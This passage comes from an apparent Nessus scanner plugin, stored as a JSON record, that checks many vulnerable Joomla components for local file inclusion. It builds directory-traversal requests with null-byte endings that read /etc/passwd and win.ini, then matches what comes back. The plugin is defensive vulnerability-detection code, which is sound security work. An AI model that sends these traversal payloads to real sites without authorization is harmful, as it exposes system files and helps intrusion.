\"/index.php?option=com_shoutbox\";\npat[ncoms] = '>Shoutbox Archive<';\nncoms++;\n# - SimpleDownload (Bugtraq 40192 / EDB-ID 12618)\ncom[ncoms] = \"/index.php?option=com_simpledownload\";\npat[ncoms] = '';\nncoms++;\n# - SMEStorage (Bugtraq 38911)\ncom[ncoms] = \"/index.php?option=com_smestorage\";\npat[ncoms] = '(css/smestorage\\\\.css|div id=\"smestorage_div\")';\nncoms++;\n# - spsNewsletter (Bugtraq 39388 / EDB-ID 12149)\ncom[ncoms] = \"/index.php?option=com_spsnewsletter\";\npat[ncoms] = 'value=\"addSubscriber\"';\nncoms++;\n# - SVMap (Bugtraq 39214)\ncom[ncoms] = \"/index.php?option=com_svmap\";\npat[ncoms] = '(com_svmap/svmap\\\\.css|svmap_canvas)';\nncoms++;\n# - Sweety Keeper (Bugtraq 39399 / EDB-ID 12182)\ncom[ncoms] = \"/index.php?option=com_sweetykeeper\";\npat[ncoms] = '(<h1>Sweety Keeper Component</h1>|views/sweetykeeper/)';\nncoms++;\n# - Travelbook (Bugtraq 39385 / EDB-ID 12151)\ncom[ncoms] = \"/index.php?option=com_travelbook\";\npat[ncoms] = '';\nncoms++;\n# - TweetLA (Bugtraq 39386 / EDB-ID 12142)\ncom[ncoms] = \"/index.php?option=com_tweetla\";\npat[ncoms] = '';\nncoms++;\n# - Ulti RPX (Bugtraq 38743)\ncom[ncoms] = \"/index.php?option=com_rpx\";\npat[ncoms] = '';\nncoms++;\n# - User Status (BID 39174)\n# untested but confirmed at <http://extensions.joomla.org/extensions/communities-a-groupware/members-lists/11740>.\ncom[ncoms] = \"/index.php?option=com_userstatus\";\npat[ncoms] = '(userstatus_detail|com_userstatus/images)';\nncoms++;\n# - Vjdeo (Bugtraq 39266 / EDB-ID 12101)\ncom[ncoms] = \"/index.php?option=com_vjdeo\";\npat[ncoms] = 'vjdeoView';\nncoms++;\n# - Webee Comment (Bugtraq 39342 / EDB-ID 12111)\ncom[ncoms] = \"/index.php?option=com_webeecomment\";\npat[ncoms] = 'onclick=\"addComments\\\\(';\nncoms++;\n# - webERPcustomer (BID 39178)\n# untested but confirmed at <http://extensions.joomla.org/extensions/bridges/crm-bridges/8754>.\ncom[ncoms] = \"/index.php?option=com_weberpcustomer\";\npat[ncoms] = '';\nncoms++;\n# - WebTV (Bugtraq 39398 / EDB-ID 12166)\ncom[ncoms] = \"/index.php?option=com_webtv\";\npat[ncoms] = '^Messege Could Not';\nncoms++;\n# - wgPicasa (Bugtraq 39497 / EDB-ID 12230)\ncom[ncoms] = \"/index.php?option=com_wgpicasa\";\npat[ncoms] = 'wgpicasaView';\nncoms++;\n# - WMI (Web Merchant Interface) (Bugtraq 39608 / EDB-ID 12316)\ncom[ncoms] = \"/index.php?option=com_wmi\";\npat[ncoms] = 'WebMoney Transfer';\nncoms++;\n# - World Rates (Bugtraq 39398 / EDB-ID 12180)\ncom[ncoms] = \"/index.php?option=com_worldrates\";\npat[ncoms] = \">World's Currency Rates<\";\nncoms++;\n# - ZiMB Comment (Bugtraq 39548 / EDB-ID 12283)\ncom[ncoms] = \"/index.php?option=com_zimbcomment\";\npat[ncoms] = 'onclick=\"hideComments\\\\(';\nncoms++;\n# - ZTAutolink (Bugtraq 56994)\ncom[ncoms] = \"/index.php?option=com_ztautolink\";\npat[ncoms] = '<h1> </h1>';\nncoms++;\n\n# Try to retrieve a local file.\nos = get_kb_item(\"Host/OS\");\nif (os && report_paranoia < 2)\n{\n if (\"Windows\" >< os)\n files = make_list('/windows/win.ini','/winnt/win.ini');\n else\n files = make_list('/etc/passwd');\n}\nelse files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini', 'LICENSE.php');\n\nfile_pats = make_array();\nfile_pats['/etc/passwd'] = \"root:.*:0:[01]:\";\nfile_pats['/winnt/win.ini'] = \"^\\[[a-zA-Z\\s]+\\]|^; for 16-bit app support\";\nfile_pats['/windows/win.ini'] = \"^\\[[a-zA-Z\\s]+\\]|^; for 16-bit app support\";\nfile_pats['LICENSE.php'] = \"GNU GENERAL PUBLIC LICENSE\";\n\n# Loop through each directory.\ncontents = \"\";\nfound_file = \"\";\ninfo = \"\";\nnon_affect = make_list();\n\nforeach dir (list_uniq(dirs))\n{\n for (i=0; i<ncoms; i++)\n {\n foreach file (files)\n {\n # Once we find a file that works, stick with it for any subsequent tests.\n if (found_file && file != found_file) continue;\n\n # we can't test some components properly because execution errors\n # out if the required file doesn't result in a valid class. So\n # we'll fudge the filename and hope PHP displays errors.\n if (\n \"com_econtent\" >< com[i] ||\n \"com_perchadownloadsattach\" >< com[i] ||\n \"com_perchafieldsattach\" >< com[i] ||\n \"com_perchagallery\" >< com[i] ||\n \"com_perchaimageattach\" >< com[i] ||\n \"com_record\" >< com[i]\n )\n {\n alt_file = substr(file, 0, strlen(file)-2);\n file_pats[alt_file] = file_pats[file];\n file = alt_file;\n }\n\n if (file[0] == '/') traversal = crap(data:\"../\", length:3*9) + '..';\n else traversal = '../../../';\n if (com_fabrik >!< com[i]) traversal = '/' + traversal;\n\n if (substr(file, strlen(file)-4) == \".php\")\n exploit = traversal + substr(file, 0, strlen(file)-4-1);\n else\n exploit = traversal + file + \"%00\";\n\n url = dir + com[i] + \"&controller=\" + exploit;\n res = http_send_recv3(port:port, method:\"GET\", item:url, exit_on_fail:TRUE);\n\n # There's a problem if...\n body = res[2];\n file_pat = file_pats[file];\n if (\n # we see the expected contents or...\n egrep(pattern:file_pat, string:body) ||\n # we get an error because magic_quotes was enabled or...\n traversal+file+\".php\" >< body ||\n # we get an error claiming the file doesn't exist or...\n file+\"): failed to open stream: No such file\" >< body ||\n file+\") [function.require-once]: failed to open stream: No such file\" >< body ||\n file+\") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: No such file\" >< body ||\n # we get an error about open_basedir restriction.\n file+\") [function.require-once]: failed to open stream: Operation not permitted\" >< body ||\n file+\") [<a href='function.require-once'>function.require-once</a>]: failed to open stream: Operation not permitted\" >< body ||\n \"open_basedir restriction in effect. File(\"+traversal+file >< body\n )\n {\n # Make sure it's the affected component unless we're paranoid or we can't.\n if (report_paranoia < 2 && pat[i])\n {\n url2 = dir + com[i];\n res2 = http_send_recv3(port:port, method:\"GET\", item:url2, exit_on_fail:TRUE);\n\n if (!egrep(pattern:pat[i], string:res2[2])) break;\n }\n\n info += \" - \" + build_url(port:port, qs:url) + '\\n';\n\n if (!contents && egrep(pattern:file_pat, string:body))\n {\n found_file = file;\n\n if (ereg(pattern:\"_(addressbook|arcadegames|cvmaker|diary|flashgames|horoscope|joommail|market|memory|myfiles|onlineexam|orgchart|webtv|worldrates)$\", string:com[i]))\n {\n contents = strstr(body, '<table class=\"nopad\"') - '<table class=\"nopad\"';\n contents = contents - strstr(contents, '<div id');\n contents = contents - strstr(contents, '<h2><center><b>User must be logged in</b>');\n contents = contents - strstr(contents, '<style ');\n contents = contents - strstr(contents, 'USER MUST BE LOGGED IN');\n contents = contents - strstr(contents, '\\n<html>');\n contents = contents - strstr(contents, '\\t\\t<table ');\n contents = contents - strstr(contents, '<table ');\n contents = contents - strstr(contents, '\\n<!-- Deafult');\n contents = ereg_replace(pattern:'^.+<td>[ \\\\t\\\\n\\\\r]*', replace:'', string:contents);\n }\n else if (ereg(pattern:\"_fabrik$\", string:com[i]))\n {\n contents = \"\";\n foreach line (split(body, keep:TRUE))\n {\n if (ereg(pattern:'^<b>Fatal error', string:line)) break;\n if (!ereg(pattern:'^<b(r /)?>', string:line)) contents += line;\n }\n }\n else\n {\n contents = body;\n if (\"<br\" >< contents) contents = contents - strstr(contents, \"<br\");\n }\n }\n else contents = body;\n break;\n }\n }\n if (info && !thorough_tests) break;\n }\n non_affect = make_list(non_affect, dir);\n if (info && !thorough_tests) break;\n}\n# Audits\nif (!info)\n{\n installs = max_index(non_affect);\n\n if (installs == 0)\n exit(0, \"None of the \"+app+ \" installs (\" + join(dirs, sep:\" & \") + \") on port \" + port+ \" are affected.\");\n\n else if (installs == 1)\n audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));\n\n else exit(0, \"None of the \"+app+ \" installs (\" + join(non_affect, sep:\" & \") + \") on port \" + port + \" are affected.\");\n}\n\n# Report findings.\nif (os && \"Windows\" >< os) found_file = str_replace(find:'/', replace:'\\\\', string:found_file);\nif (empty_or_null(contents)) contents = body;\n\nsecurity_report_v4(\n port : port,\n severity : SECURITY_HOLE,\n file : found_file,\n request : split(info),\n output : contents,\n attach_type : 'text/plain'\n);\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}